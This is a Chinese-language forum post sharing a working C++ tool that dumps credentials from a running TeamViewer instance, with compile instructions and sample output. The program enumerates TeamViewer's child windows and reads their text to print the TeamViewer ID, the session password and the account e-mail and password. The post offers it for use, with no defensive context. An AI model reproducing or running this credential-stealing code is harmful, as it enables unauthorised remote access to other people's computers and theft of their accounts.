搜索
查看: 4685|回复: 0

获取运行中的TeamViewer的账号和密码

[复制链接]

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2018-5-22 09:36:11 | 显示全部楼层 |阅读模式
PS:通过枚举子窗口转储TeamViewer ID,密码和帐户设置从正在运行的TeamViewer实例。


[pre]
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )

int status = 0;

BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
      
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }

        if (strstr(BufferContent, "Allow Remote Control") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        }
      
        if (strstr(BufferContent, "Please tell your partner") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        }

        return 1;
}

BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
      
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }

        if (strstr(BufferContent, "E-mail") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        }
      
        if (strstr(BufferContent, "Password") != NULL)
        {
                status = 1;
                printf("Password: ");
        }

        return 1;
}


int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");

        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        }
      
      
        HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");

        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        }

      
        return 0;
}
[/pre]
[pre]
Compile with CL
    cl TeamViewerDump.cpp
    or with cl TeamViewerDump.cpp /EHsc
Requirements
    TeamViewer must be running
    Tested only with English GUI of TeamViewer
[/pre]
[pre]
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>
[/pre]
有没有参加CTF比赛的,一起组队啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表